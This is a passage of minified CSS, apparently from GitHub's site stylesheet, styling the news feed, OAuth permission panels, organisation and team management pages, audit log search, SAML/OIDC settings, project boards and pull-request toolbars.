dl.form-group{margin-top:4px;margin-bottom:0}.owner-reponame .slash{float:left;padding-top:32px;margin:0 8px;font-size:20px;color:var(--color-fg-muted)}.reponame-suggestion{color:var(--color-success-fg);cursor:pointer}.upgrade-upsell{padding-left:32px}.cc-upgrade{padding-left:16px}.news .release{margin-top:0;margin-bottom:0}.news blockquote{color:var(--color-fg-muted)}.news .alert{position:relative;padding:0 0 1em 45px;overflow:hidden;border-top:1px solid #eff3f6}.news .alert .commits{padding-left:40px}.news .alert .css-truncate.css-truncate-target,.news .alert .css-truncate .css-truncate-target{max-width:180px}.news .alert p{margin:0}.news .alert .markdown-body blockquote{padding:0 0 0 40px;border-width:0}.news .alert .octicon{color:var(--color-fg-muted)}.news .alert .dashboard-event-icon{position:absolute;top:18px;left:22px;transform:translateX(-50%)}.news .alert .body{padding:1em 0 0;overflow:hidden;font-size:14px;border-bottom:0}.news .alert .time{font-size:12px;color:var(--color-fg-muted)}.news .alert .title{padding:0;font-weight:600}.news .alert .title .subtle{color:var(--color-fg-muted)}.news .alert .gravatar{float:left;margin-right:.6em;line-height:0;background-color:var(--color-canvas-default);border-radius:6px}.news .alert .simple .title{display:inline-block;font-size:14px;font-weight:400;color:var(--color-fg-muted)}.news .alert .simple .time{display:inline-block}.news .alert:first-child{border-top:0}.news .alert:first-child .body{padding-top:0}.news .alert:first-child .dashboard-event-icon{top:0}.news .github-welcome .done{color:var(--color-fg-muted);text-decoration:line-through}.news .commits li{margin-top:.15em;list-style-type:none}.news .commits li.more{padding-top:2px;font-size:12px}.news .commits li .committer{display:none;padding-left:.5em}.news .commits li img{margin:0 1px 0 0;vertical-align:middle;background-color:var(--color-canvas-default);border-radius:6px}.news .commits li img.emoji{padding:0;margin:0;border:0}.news .commits li .message{display:inline-block;max-width:390px;margin-top:2px;overflow:hidden;font-size:14px;line-height:1.3;text-overflow:ellipsis;white-space:nowrap;vertical-align:top}.news div.message,.news li blockquote{display:inline;font-size:14px;color:var(--color-fg-muted)}.oauth-permissions-details{position:relative;padding:16px;margin:0;list-style:none;border-bottom:1px solid var(--color-border-muted)}.oauth-permissions-details:first-child{border-radius:6px 6px 0 0}.oauth-permissions-details:last-child{border:0;border-radius:0 0 6px 6px}.oauth-permissions-details.oauth-public-data-only{border-radius:6px}.oauth-permissions-details .markdown-body{font-size:12px}.oauth-permissions-details .content{display:none;margin-left:45px}.oauth-permissions-details .content .form-checkbox{margin-left:0}.oauth-permissions-details .content .form-checkbox:last-child{margin-bottom:0}.oauth-permissions-details .octicon{float:left;color:var(--color-fg-muted);text-align:center}.oauth-permissions-details .permission-help{font-size:12px}.oauth-permissions-details .permission-help ul{padding-left:16px;margin:1em 0}.oauth-permissions-details .permission-summary{margin-left:45px}.oauth-permissions-details .permission-summary .access-details{position:relative;color:var(--color-fg-muted)}.oauth-permissions-details .permission-summary em.highlight{position:relative;padding:2px 4px;margin-right:-2px;margin-left:-4px;font-style:normal;color:var(--color-fg-default);background:var(--color-search-keyword-hl);border-radius:6px}.oauth-permissions-details .permission-title{display:block;color:var(--color-fg-default)}.oauth-permissions-details a.btn-sm{float:right;margin-top:4px}.oauth-permissions-details.open a.btn-sm{background-color:#dcdcdc;background-image:none;border-color:#b5b5b5;box-shadow:inset 0 2px 4px rgba(0,0,0,.15)}.oauth-permissions-details.open .content{display:block}.oauth-permissions-details.default:not(.delete) .no-access,.oauth-permissions-details.default:not(.delete) .default-access,.oauth-permissions-details.none .no-access,.oauth-permissions-details.none .default-access{display:inline}.oauth-permissions-details.default:not(.delete) .access-details,.oauth-permissions-details.default:not(.delete) .permission-title,.oauth-permissions-details.none .access-details,.oauth-permissions-details.none .permission-title{color:var(--color-fg-muted)}.oauth-permissions-details.default:not(.delete) .octicon,.oauth-permissions-details.none .octicon{color:var(--color-fg-muted)}.oauth-permissions-details.default .default-access{display:inline}.oauth-permissions-details.full .full-access{display:inline}.oauth-details-toggle{position:absolute;top:0;right:0;padding:16px 16px}.oauth-details-toggle .octicon-chevron-up{display:none}.open .oauth-details-toggle .octicon-chevron-down{display:none}.open .oauth-details-toggle .octicon-chevron-up{display:block}.oauth-user-permissions .full-access,.oauth-user-permissions .limited-access,.oauth-user-permissions .limited-access-emails-followers,.oauth-user-permissions .limited-access-emails-profile,.oauth-user-permissions .limited-access-followers-profile,.oauth-user-permissions .limited-access-profile,.oauth-user-permissions .limited-access-followers,.oauth-user-permissions .limited-access-emails,.oauth-user-permissions .no-access{display:none}.oauth-user-permissions.limited.limited-email .limited-access-emails{display:inline}.oauth-user-permissions.limited.limited-email.limited-profile .limited-access-emails,.oauth-user-permissions.limited.limited-email.limited-profile .limited-access-profile{display:none}.oauth-user-permissions.limited.limited-email.limited-profile .limited-access-emails-profile{display:inline}.oauth-user-permissions.limited.limited-email.limited-profile.limited-follow .limited-access-emails,.oauth-user-permissions.limited.limited-email.limited-profile.limited-follow .limited-access-profile,.oauth-user-permissions.limited.limited-email.limited-profile.limited-follow .limited-access-followers,.oauth-user-permissions.limited.limited-email.limited-profile.limited-follow .limited-access-emails-profile,.oauth-user-permissions.limited.limited-email.limited-profile.limited-follow .limited-access-emails-followers,.oauth-user-permissions.limited.limited-email.limited-profile.limited-follow .limited-access-followers-profile{display:none}.oauth-user-permissions.limited.limited-email.limited-profile.limited-follow .limited-access{display:inline}.oauth-user-permissions.limited.limited-email.limited-follow .limited-access-emails,.oauth-user-permissions.limited.limited-email.limited-follow .limited-access-followers{display:none}.oauth-user-permissions.limited.limited-email.limited-follow .limited-access-emails-followers{display:inline}.oauth-user-permissions.limited.limited-follow .limited-access-followers{display:inline}.oauth-user-permissions.limited.limited-follow.limited-profile .limited-access-followers,.oauth-user-permissions.limited.limited-follow.limited-profile .limited-access-profile{display:none}.oauth-user-permissions.limited.limited-follow.limited-profile .limited-access-followers-profile{display:inline}.oauth-user-permissions.limited.limited-profile .limited-access-profile{display:inline}.oauth-repo-permissions .default-access,.oauth-repo-permissions .public-access,.oauth-repo-permissions .limited-repo-invite-access,.oauth-repo-permissions .full-access{display:none}.oauth-repo-permissions.full .full-access{display:inline}.oauth-repo-permissions.limited-repo-invite .limited-repo-invite-access{display:inline}.oauth-repo-permissions.public .public-access{display:inline}.oauth-repo-permissions.default .default-access{display:inline}.oauth-delete-repo-permissions .octicon-alert{color:var(--color-danger-fg)}.oauth-repo-status-permissions .no-access,.oauth-repo-status-permissions .full-access,.oauth-repo-deployment-permissions .no-access,.oauth-repo-deployment-permissions .full-access{display:none}.oauth-notifications-permissions .no-access,.oauth-notifications-permissions .read-access,.oauth-notifications-permissions .via-public-access,.oauth-notifications-permissions .via-full-access{display:none}.oauth-notifications-permissions.read .read-access{display:inline}.oauth-notifications-permissions.via-public .via-public-access{display:inline}.oauth-notifications-permissions.via-public .octicon{display:none}.oauth-notifications-permissions.via-full .via-full-access{display:inline}.oauth-gist-permissions .no-access,.oauth-gist-permissions .full-access{display:none}.oauth-granular-permissions .no-access,.oauth-granular-permissions .read-access,.oauth-granular-permissions .write-access,.oauth-granular-permissions .full-access{display:none}.oauth-granular-permissions.none .no-access{display:inline}.oauth-granular-permissions.read .read-access{display:inline}.oauth-granular-permissions.write .write-access{display:inline}.oauth-granular-permissions.full .full-access{display:inline}.oauth-no-description{color:var(--color-fg-muted)}.oauth-org-access-details{background:var(--color-canvas-default)}.oauth-org-access-details .oauth-org-item:hover{background:var(--color-canvas-subtle)}.oauth-org-access-details a:hover{text-decoration:none}.oauth-org-access-details .boxed-group-inner{border:0;border-radius:6px}.oauth-org-access-details .oauth-org-item{line-height:24px}.oauth-org-access-details .oauth-org-item:first-child{border-radius:6px 6px 0 0}.oauth-org-access-details .oauth-org-item .loading-indicator{display:none;margin:4px}.oauth-org-access-details .oauth-org-item.on .authorized-tools{display:block}.oauth-org-access-details .oauth-org-item.on .unauthorized-tools{display:none}.oauth-org-access-details .oauth-org-item.on strong{color:var(--color-fg-default)}.oauth-org-access-details .oauth-org-item.on .octicon-check{display:inline}.oauth-org-access-details .oauth-org-item.on .octicon-x{display:none}.oauth-org-access-details .oauth-org-item.revoked{background:var(--color-canvas-default)}.oauth-org-access-details .oauth-org-item.revoked .unauthorized-tools,.oauth-org-access-details .oauth-org-item.revoked .authorized-tools{display:none}.oauth-org-access-details .oauth-org-item.revoked .octicon-x{color:var(--color-danger-fg)}.oauth-org-access-details .oauth-org-item.loading .unauthorized-tools,.oauth-org-access-details .oauth-org-item.loading .authorized-tools{display:none}.oauth-org-access-details .oauth-org-item.loading .loading-indicator{display:block}.oauth-org-access-details .oauth-org-item .authorized-tools{display:none}.oauth-org-access-details .oauth-org-item .unauthorized-tools{display:block}.oauth-org-access-details .btn{line-height:1.5em}.oauth-org-access-details .octicon{color:var(--color-fg-muted)}.oauth-org-access-details .octicon-check{display:none;color:var(--color-success-fg)}.oauth-org-access-details .octicon-x{display:inline}.oauth-org-access-details .octicon-x.org-access-denied{color:var(--color-danger-fg)}.permission-title{margin-top:0}.boxed-group-inner .oauth-application-info{margin-bottom:8px}.oauth-application-info .application-title{font-size:32px;color:var(--color-fg-default)}.oauth-application-info .application-description{margin-top:4px;margin-bottom:0}.oauth-application-info .listgroup-item{line-height:inherit}.oauth-application-info .app-denied,.oauth-application-info .app-approved{margin-left:8px;font-size:14px;font-weight:400;white-space:nowrap}.oauth-application-info .app-approved,.oauth-application-info .octicon-check{color:var(--color-success-fg)}.oauth-application-info .app-denied,.oauth-application-info .octicon-x{color:var(--color-severe-fg)}.app-transfer-actions form{display:inline}.developer-app-item .developer-app-avatar-cell{width:60px}.developer-app-item .developer-app-name{font-size:14px;font-weight:600;line-height:1.25;color:var(--color-fg-default)}.developer-app-item .developer-app-name:hover{color:var(--color-accent-fg);text-decoration:none}.developer-app-item .developer-app-info-cell{padding-left:0}.developer-app-item .developer-app-list-meta{margin-top:4px;margin-bottom:2px;font-weight:400;color:var(--color-fg-muted)}.org-transfer-requests{margin:8px 0 16px}.toggle-secret-field .secret-standin{display:block}.toggle-secret-field .secret-field{display:none}.toggle-secret-field.open .secret-standin{display:none}.toggle-secret-field.open .secret-field{display:block}.invitation-2fa-banner{margin-right:-24px;margin-left:-24px}.sign-up-via-invitation .bleed-flush{width:100%;padding:0 16px;margin-left:-16px;border-color:var(--color-border-default)}.sign-up-via-invitation label{font-size:14px}.orghead{padding-top:16px;padding-bottom:0;margin-bottom:16px;color:var(--color-fg-default);background-color:var(--color-page-header-bg);border-bottom:1px solid var(--color-border-default)}.orghead .orgnav{position:relative;top:1px;margin-top:8px}.org-repos .TableObject-item--primary{white-space:normal}.org-name{font-weight:400;color:var(--color-fg-default)}.audit-log-search .member-info{width:300px}.audit-log-search .member-info .member-avatar{float:left;margin-right:16px}.audit-log-search .member-info .member-link{display:block}.audit-log-search .member-info .member-list-avatar{margin-right:0}.audit-log-search .member-info .ghost{display:inline-block;color:var(--color-fg-muted)}.audit-log-search .blankslate{border-top-left-radius:0;border-top-right-radius:0}.audit-log-search .export-phrase{margin:4px 0}.audit-results-actions{overflow:auto}.audit-search-clear{float:left;margin-bottom:16px;border:0}.audit-search-clear .issues-reset-query{margin-bottom:0}.audit-type{width:200px;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.audit-type .octicon{margin-right:4px;font-weight:400;vertical-align:bottom}.audit-type .repo{color:var(--color-severe-fg)}.audit-type .team{color:var(--color-success-fg)}.audit-type .user{color:var(--color-done-fg)}.audit-type .oauth_access{color:var(--color-danger-fg)}.audit-type .hook{color:#e1bf4e}.export-phrase{margin-top:4px}.export-phrase pre{padding-left:8px;font-family:ui-monospace,SFMono-Regular,SF Mono,Menlo,Consolas,Liberation Mono,monospace;white-space:pre-wrap;border-left:1px solid var(--color-border-muted)}.two-factor-enforcement-form .loading-spinner{float:left;margin:0 0 0 -16px;vertical-align:middle}.saml-enabled-banner-container{background-color:var(--color-canvas-default)}.saml-settings-form .test-status-indicator,.oidc-settings-form .test-status-indicator{width:30px;height:30px;margin-top:-4px;border-radius:50%}.saml-settings-form .test-status-indicator .octicon,.oidc-settings-form .test-status-indicator .octicon{display:block;margin-top:8px;margin-right:auto;margin-left:auto}.saml-settings-form .form-group.errored,.oidc-settings-form .form-group.errored{margin-bottom:40px}.saml-settings-form .test-status-indicator-error,.oidc-settings-form .test-status-indicator-error{color:var(--color-fg-on-emphasis);background-color:var(--color-danger-emphasis)}.saml-settings-form .test-status-indicator-success,.oidc-settings-form .test-status-indicator-success{color:var(--color-fg-on-emphasis);background-color:var(--color-success-emphasis)}.saml-settings-form .details-container .method-field,.oidc-settings-form .details-container .method-field{display:none}.saml-settings-form .details-container .method-label,.oidc-settings-form .details-container .method-label{font-weight:400}.saml-settings-form .details-container .details-target,.oidc-settings-form .details-container .details-target{cursor:pointer}.saml-settings-form .details-container.open .method-value,.saml-settings-form .details-container.open .details-target,.oidc-settings-form .details-container.open .method-value,.oidc-settings-form .details-container.open .details-target{display:none}.saml-settings-form .details-container.open .method-field,.oidc-settings-form .details-container.open .method-field{display:inline-block}.saml-settings-form .saml-enforcement-disabled,.oidc-settings-form .saml-enforcement-disabled{opacity:.5}.form-group .form-control.saml-certificate-field{width:440px;height:150px;min-height:0}.member-avatar{float:left;margin:1px}.member-fullname{color:var(--color-fg-muted)}.auto-search-group{position:relative}.auto-search-group .auto-search-input{padding-left:32px}.auto-search-group .spinner,.auto-search-group>.octicon{position:absolute;left:10px;z-index:5;width:16px;height:16px}.auto-search-group .spinner{top:9px;background-color:var(--color-canvas-default)}.auto-search-group>.octicon{top:10px;font-size:14px;color:var(--color-fg-muted);text-align:center}.org-list .list-item{position:relative;padding-top:16px;padding-bottom:16px;border-bottom:1px solid var(--color-border-muted)}.org-list .list-item::before{display:table;content:""}.org-list .list-item::after{display:table;clear:both;content:""}.permission-level-cell .select-menu-button{width:90px;text-align:left}.permission-level-cell .select-menu-button::after{position:absolute;top:10px;right:10px}.permission-level-cell .spinner{float:none;opacity:0;transition:opacity .2s ease-in-out}.permission-level-cell .is-loading .spinner{opacity:1}.select-menu-option-title{margin-top:0;margin-bottom:0}.reinstate-org-member{position:relative;width:500px;margin:40px auto}.reinstate-org-member .reinstate-lead{margin-bottom:32px;font-size:16px}.reinstate-org-member label{cursor:pointer}.reinstate-org-member .reinstate-detail-container{margin:16px 0}.reinstate-org-member .reinstate-title{color:var(--color-fg-default)}.reinstate-org-member .reinstate-title .octicon{width:16px;margin-right:8px;color:var(--color-fg-muted)}.permission-title{margin-top:0}.invite-member-results ul{margin:0}.team-member-list{list-style:none}.team-member-list .table-list-cell{padding-top:16px;padding-bottom:16px}.team-member-list .team-member-content{margin-left:50px}.team-member-list .team-member-username{margin:0;font-size:14px;font-weight:600;line-height:20px}.team-member-list .Label--secondary{cursor:default}.team-member-list .invite-icon{width:28px;color:var(--color-fg-muted)}.menu-item-danger,.menu-item-danger.selected{color:var(--color-danger-fg)}.menu-item-danger:hover,.menu-item-danger[aria-selected=true],.menu-item-danger.navigation-focus,.menu-item-danger.selected:hover,.menu-item-danger.selected[aria-selected=true],.menu-item-danger.selected.navigation-focus{color:var(--color-fg-on-emphasis);background:var(--color-danger-emphasis)}.team-member-list-avatar{float:left;margin-right:8px}.team-member-list-avatar .octicon{width:40px;color:var(--color-fg-muted)}.confirm-removal-list-container{margin-bottom:16px;border:1px solid var(--color-border-default);border-radius:6px}.confirm-removal-list-item{padding:8px;margin:0;font-size:14px;font-weight:600;border-top:1px solid var(--color-border-muted)}.confirm-removal-list-item:first-child{border-top:0}.manage-member-meta{list-style:none}.manage-member-meta-item{margin-top:12px;color:var(--color-fg-muted)}.manage-member-meta-item:first-child{margin-top:0}.manage-member-meta-item .btn-link{color:var(--color-fg-muted)}.manage-member-meta-item>.octicon{width:14px;margin-right:4px;color:var(--color-fg-muted);text-align:center}.manage-member-meta-item>.octicon-alert{color:var(--color-severe-fg)}.ldap-group-dn{display:block;font-weight:400;color:var(--color-fg-muted)}.ldap-import-groups-container .blankslate{display:none}.ldap-import-groups-container.is-empty .blankslate{display:block}.ldap-import-groups-container.is-empty .ldap-memberships-list{display:none}.ldap-memberships-list{margin-bottom:32px}.ldap-memberships-list .table-list-cell{padding-top:8px;padding-bottom:8px;font-size:12px;vertical-align:middle}.ldap-memberships-list .table-list-cell:last-child{width:92px}.ldap-memberships-list .ldap-list-team-name{width:380px}.ldap-memberships-list .ldap-group-dn{font-size:12px}.ldap-memberships-list .ldap-mention-as{width:260px}.ldap-memberships-list .edit{position:absolute;padding:8px;margin-left:-32px;color:var(--color-accent-fg);cursor:pointer}.ldap-memberships-list .edit-fields{display:none}.ldap-memberships-list .is-editing .edit-hide{display:none}.ldap-memberships-list .is-editing .edit-fields{display:block}.ldap-memberships-list .is-editing .spinner{margin-left:16px;vertical-align:middle}.ldap-memberships-list .is-removing{opacity:.25}.ldap-memberships-list .is-removing .edit{opacity:.5}.team-name-field{height:33px}.ldap-import-form-actions{margin-top:32px}.invited .team-member-list{margin:-16px 0}.invited .team-member-list .list-item{padding:8px 0;border-bottom:1px solid var(--color-border-muted)}.invited .team-member-list .list-item::before{display:table;content:""}.invited .team-member-list .list-item::after{display:table;clear:both;content:""}.invited .team-member-list .list-item:last-of-type{border:0}.invited .team-member-list .list-item .edit-invitation{float:right;margin-top:4px}.invited-banner::before{display:table;content:""}.invited-banner::after{display:table;clear:both;content:""}.invited-banner .btn-sm{float:right;margin-left:4px}.invited-banner p{font-size:14px;line-height:1.5}.invited-banner .inviter-link{font-weight:600}.manage-member-sso-sessions.has-active-sessions .blankslate{display:none}.org-menu-item:not([aria-current=page])+.org-sub-menu{display:none}.trial-banner-notice{background-image:linear-gradient(180deg, #0366d6 0%, #2188ff 100%)}@media(min-width: 768px){.Popover-message--extra-large{min-width:544px !important}}.theme-picker{margin-bottom:-1px;background-color:var(--color-canvas-default);background-clip:padding-box;border-bottom:1px solid var(--color-border-default);box-shadow:var(--color-shadow-medium)}.theme-picker>.container{position:relative;overflow:hidden;text-align:center}.theme-picker-thumbs{border-bottom:1px solid var(--color-border-muted)}.theme-toggle{width:32px;height:32px;padding:0;color:var(--color-fg-muted);background:none;border:0}.theme-toggle:hover{color:var(--color-accent-fg);text-decoration:none}.theme-toggle.disabled,.theme-toggle.disabled:hover{color:var(--color-fg-muted);cursor:not-allowed}.theme-toggle-full-left,.theme-toggle-full-right{position:absolute;top:50px;overflow:hidden}.theme-toggle-full-left{left:4px}.theme-toggle-full-right{right:4px}.theme-selector{height:102px;margin:16px 46px}.theme-selector-thumbnail{padding:2px;border:1px solid var(--color-border-muted)}.theme-selector-thumbnail:hover{text-decoration:none;background-color:var(--color-neutral-subtle)}.theme-selector-thumbnail.selected{padding:4px;background-color:var(--color-accent-emphasis);border:0}.theme-selector-thumbnail.selected .theme-selector-img{border:1px solid var(--color-canvas-default)}.theme-selector-img{width:126px;height:96px;border-radius:1px}.theme-picker-spinner{position:absolute;top:16px;left:50%;margin-left:-16px;background-color:var(--color-canvas-default);opacity:1;transition:.2s,opacity ease-in-out}.theme-picker-spinner~.theme-picker-controls .theme-name{opacity:0}.theme-picker-view-toggle{float:left}.theme-picker-view-toggle .for-hiding{display:none}.theme-picker-view-toggle.open .for-hiding{display:inline}.theme-picker-view-toggle.open .for-showing{display:none}.theme-picker-controls{position:absolute;top:15px;left:50%;width:220px;margin-left:-110px;line-height:34px;text-align:center}.theme-picker-controls .theme-toggle{vertical-align:middle}.theme-name{display:inline-block;margin-right:8px;margin-left:8px;font-size:20px;line-height:1;vertical-align:middle}.page-preview{z-index:-100;display:block;width:100%;height:6000px;padding:0;background-color:var(--color-canvas-default);border:0}.pinned-items-spinner{position:relative;top:2px;left:6px}.pinned-items-setting-link{font-size:12px;font-weight:400}.pinned-item-name{color:var(--color-fg-default)}.pinned-item-checkbox+.pinned-item-name:hover{cursor:pointer;background-color:var(--color-action-list-item-default-hover-bg);border-radius:6px}.pinned-item-checkbox:disabled+.pinned-item-name{color:var(--color-fg-muted)}.pinned-item-checkbox:disabled+.pinned-item-name:hover{cursor:default}.pinned-gist-blob-num{min-width:36px;cursor:default}.pinned-gist-blob-num:hover{color:var(--color-fg-muted);cursor:default}@media print{#serverstats,.Header-old,.Header,.header-search,.reponav,.comment::before,.comment::after,.footer,.pagehead-actions,.discussion-timeline-actions,.timeline-comment-actions,.timeline-new-comment,.thread-subscription-status,.lock-toggle-link,.header,.file-actions,.js-expandable-line,.gh-header-sticky,.pr-toolbar.is-placeholder,.language-color{display:none !important}.repository-lang-stats-graph{height:0}.btn:not(.btn-outline){color:var(--color-fg-default) !important;background:none}p,.comment h2{page-break-inside:avoid}.markdown-body h2{page-break-after:avoid}.topic-tag{padding:0}.topic-tag::before{margin-right:-2px;content:"#"}.blob-num{border-right:2px solid var(--color-border-default)}.blob-num-deletion{border-right-color:var(--color-danger-emphasis)}.blob-num-addition{border-right-color:var(--color-success-emphasis)}.blob-code-addition .x{border-bottom:2px solid var(--color-success-emphasis);border-radius:0}.blob-code-deletion .x{border-bottom:2px solid var(--color-danger-emphasis);border-radius:0}.pr-toolbar.is-stuck{position:static !important;width:100% !important}.diffstat-block-neutral{border:4px solid var(--color-border-default)}.diffstat-block-deleted{border:4px solid var(--color-danger-emphasis)}.diffstat-block-added{border:4px solid var(--color-success-emphasis)}.State{color:var(--color-fg-default);background:none;border:1px solid var(--color-border-default);border-color:none}.State--open{color:var(--color-success-fg);border:1px solid #2cbe4e}.State--merged{color:var(--color-done-fg);border:1px solid var(--color-done-emphasis)}.State--closed{color:var(--color-danger-fg);border:1px solid var(--color-danger-emphasis)}.markdown-body pre>code{white-space:pre-wrap}}.projects-splash-dialog{position:fixed;top:0;right:auto;left:50%;z-index:999;width:90vw;max-width:700px;max-height:80vh;margin:10vh auto;transform:translateX(-50%)}@media(min-width: 544px){.projects-splash-dialog{margin:20vh auto}}.projects-splash-banner{background-image:url("/images/modules/memexes/projects-beta-banner-mobile.png");background-repeat:no-repeat;background-position:left;background-size:cover}@media(min-width: 768px){.projects-splash-banner{background-image:url("/images/modules/memexes/projects-beta-banner.png")}}.projects-splash-banner p{max-width:100%}@media(min-width: 768px){.projects-splash-banner p{max-width:55%}}@media(min-width: 768px){[data-color-mode=light][data-light-theme*=dark] .projects-splash-banner,[data-color-mode=dark][data-dark-theme*=dark] .projects-splash-banner{background-image:url("/images/modules/memexes/projects-beta-banner-dark.png")}}@media(prefers-color-scheme: light)and (min-width: 768px){[data-color-mode=auto][data-light-theme*=dark] .projects-splash-banner{background-image:url("/images/modules/memexes/projects-beta-banner-dark.png")}}@media(prefers-color-scheme: dark)and (min-width: 768px){[data-color-mode=auto][data-dark-theme*=dark] .projects-splash-banner{background-image:url("/images/modules/memexes/projects-beta-banner-dark.png")}}.project-description p:last-child{margin-bottom:0 !important}.pending-cards-status{top:-2px;right:-9px;width:14px;height:14px;background-image:linear-gradient(#54a3ff, #006eed);background-clip:padding-box;border:2px solid var(--color-canvas-default)}.project-column{min-width:100%;max-width:100%;background-color:var(--color-canvas-inset);border-width:0 !important;border-radius:0 !important}.project-column:focus{outline:none}@media(min-width: 544px){.project-column{min-width:355px;max-width:355px;border-width:1px !important;border-radius:6px !important}.project-column:focus{border-color:var(--color-accent-emphasis) !important;box-shadow:var(--color-btn-shadow-input-focus)}}.project-column.moving{background-color:var(--color-accent-subtle) !important;box-shadow:var(--color-btn-shadow-input-focus);transform:translateX(4px) translateY(-4px)}.sortable-ghost{background-color:var(--color-canvas-subtle);opacity:.5}.project-card{background-color:var(--color-canvas-overlay)}.project-card .project-reference-markdown>p,.project-card:last-child{margin-bottom:0 !important}.project-card:first-child{margin-top:8px !important}@media(min-width: 544px){.project-card:first-child{margin-top:4px !important}}.project-card ul,.project-card ol{margin-bottom:8px;margin-left:16px}.project-card blockquote{padding:0 .75em;color:var(--color-fg-muted);border-left:.25em solid var(--color-border-default)}.project-card .contains-task-list{margin-left:24px}.project-card:hover{border-color:var(--color-border-default) !important;box-shadow:0 1px 3px rgba(106,115,125,.3) !important}.project-card:focus{outline:none}@media(min-width: 544px){.project-card:focus{border-color:var(--color-accent-emphasis) !important;box-shadow:var(--color-btn-shadow-input-focus) !important}}.project-card.moving{background-color:var(--color-accent-subtle) !important;box-shadow:var(--color-btn-shadow-input-focus) !important;transform:translateX(4px) translateY(0)}.issue-card.draggable{cursor:move}.issue-card .AvatarStack:hover .from-avatar{margin-right:-4px}.issue-card pre{word-wrap:break-word;white-space:pre-wrap}@keyframes show-pane{0%{transform:translateX(390px)}100%{transform:translateX(0)}}.project-note-form textarea{resize:vertical}.card-menu-container .dropdown-menu,.column-menu-container .dropdown-menu{min-width:180px}.card-octicon{top:6px;left:10px}.card-note-octicon{top:8px}.is-sending .auto-search-group .chooser-spinner{top:15px;right:21px;left:auto}.card-filter-autocomplete-dropdown{z-index:500;float:none;min-width:240px;max-height:270px;cursor:pointer}.card-filter-autocomplete-dropdown [aria-selected=true],.card-filter-autocomplete-dropdown .navigation-focus{color:var(--color-fg-on-emphasis) !important;background-color:var(--color-accent-emphasis);border-radius:6px}.card-filter-autocomplete-dropdown [aria-selected=true] .autocomplete-text-qualifier,.card-filter-autocomplete-dropdown .navigation-focus .autocomplete-text-qualifier{color:var(--color-fg-on-emphasis) !important}.projects-reset-query:hover .projects-reset-query-icon{color:var(--color-fg-on-emphasis) !important;background-color:var(--color-accent-emphasis)}.projects-reset-query-icon{width:18px;height:18px;padding:1px;background-color:var(--color-fg-muted)}.project-small-menu-dropdown::before,.project-small-menu-dropdown::after{display:none}.project-edit-mode .column-menu-container,.project-edit-mode .column-menu-item{display:none !important}.project-edit-mode .project-move-actions{display:flex !important}.push-board-over{padding-right:0 !important;transition:all .2s ease}@media(min-width: 544px){.push-board-over{padding-right:360px !important}}.projects-comment-form .comment-md-support-link{float:none;width:100%;text-align:center}.projects-comment-form .comment-form-actions{width:100%;padding:8px 16px;margin:4px 0 !important}.projects-comment-form .comment-form-actions button{width:100%;margin:4px 0 !important}.projects-comment-form .comment-form-head{padding:0 !important;margin:0 !important;border-bottom:0}.projects-comment-form .comment-form-head .tabnav-tabs{padding:8px 8px 0}.projects-comment-form .comment-form-head .toolbar-commenting{width:100%;padding-top:4px;text-align:center;background-color:var(--color-canvas-default);border-top:1px solid var(--color-border-default)}.projects-comment-form .comment-form-head::after{display:block;clear:both;content:" "}.projects-comment-form .comment-form-textarea{height:250px !important}.projects-comment-form .preview-content{margin:0;border-top:1px solid var(--color-border-default)}.projects-comment-form .preview-content .comment-body{padding:16px}.project-issue-body-wrapper{max-height:200px;overflow:hidden}.Details--on .project-issue-body-wrapper{max-height:none;overflow:visible}.project-issue-body-blur{height:32px;background:linear-gradient(to top, var(--color-project-gradient-in), var(--color-project-gradient-out))}.Details--on .project-issue-body-blur{height:0}.project-comment-title-hover .comment-action,.project-comment-body-hover .comment-action{opacity:0}.project-comment-title-hover:hover .comment-action,.project-comment-body-hover:hover .comment-action{opacity:1}.project-comment-body-reaction .timeline-comment-action{padding:4px 8px}.project-name-hover .project-name-edit-action{opacity:0}.project-name-hover:hover .project-name-edit-action{opacity:1}.vcard-fullname{font-size:24px;line-height:1.25}.vcard-username{font-size:20px;font-style:normal;font-weight:300;line-height:24px;color:var(--color-fg-muted)}.user-profile-bio-message{margin:4px 0 0;font-size:12px;color:var(--color-fg-default)}.user-profile-following-container .user-following-container.on .follow,.user-profile-following-container .user-following-container .unfollow{display:none}.user-profile-following-container .user-following-container .follow,.user-profile-following-container .user-following-container.on .unfollow{display:block}.user-repo-search-results-summary{white-space:normal}.pull-request-tab-content{display:none}.pull-request-tab-content.is-visible{display:block}.discussion-timeline p.explain{margin:0;font-size:12px}.pull-request-ref-restore{display:none}.pull-request-ref-restore-text{display:block}.pull-discussion-timeline.is-pull-restorable .pull-request-ref-restore.last{display:block}.files-bucket{margin-bottom:16px}.full-width .diffbar .container{padding-right:0;padding-left:0}.stale-files-tab{float:left;padding:4px 8px;margin-top:-4px;margin-bottom:-4px;color:var(--color-severe-fg);background-color:var(--color-severe-subtle);border-radius:6px}.stale-files-tab-link{font-weight:600;color:inherit}.pr-toolbar{position:sticky;top:0;z-index:29;min-height:60px;padding:0 16px;margin:-16px -16px 0}.pr-toolbar .float-right .diffbar-item{margin-right:0}.pr-toolbar .float-right .diffbar-item+.diffbar-item{margin-left:16px}.pr-toolbar.is-stuck{height:60px;background-color:var(--color-canvas-default)}@media(min-width: 1150px){.commit-build-statuses .status-checks-dropdown{width:500px}}.full-commit .commit-build-statuses .status-checks-dropdown{width:500px}.files-next-bucket .file,.files-next-bucket .full-commit{margin-top:0;margin-bottom:16px}.diffbar{background-color:var(--color-canvas-default)}.diffbar .show-if-stuck{display:none}.diffbar .container{width:auto}.diffbar .table-of-contents{margin-bottom:0}.diffbar .table-of-contents ol{margin-bottom:-16px}.diffbar .table-of-contents li{border-top:1px solid var(--color-border-muted)}.diffbar .table-of-contents li:first-child{border-top:0}.diffbar [role^=menuitem]:focus:not(.is-range-selected) .text-emphasized,.diffbar [role^=menuitem]:hover:not(.is-range-selected) .text-emphasized{color:var(--color-fg-on-emphasis)}.is-stuck .diffbar .show-if-stuck{display:block}.is-stuck .diffbar .diffstat{display:none}.is-stuck .diffbar .stale-files-tab{margin-top:-8px}.diffbar-item{float:left;font-size:12px;vertical-align:middle}.add-comment-label,.is-review-pending .start-review-label{display:none}.start-review-label,.is-review-pending .add-comment-label{display:inline-block}.is-review-pending .review-simple-reply-button{display:none}.review-comment-contents{margin-left:44px}.review-comment::after,.review-comment-loader::after,.review-comment.is-comment-editing::after{position:absolute;top:31px;left:29px;z-index:-1;width:3px;height:100%;content:"";background-color:var(--color-canvas-subtle)}.review-comment{position:relative;padding:8px 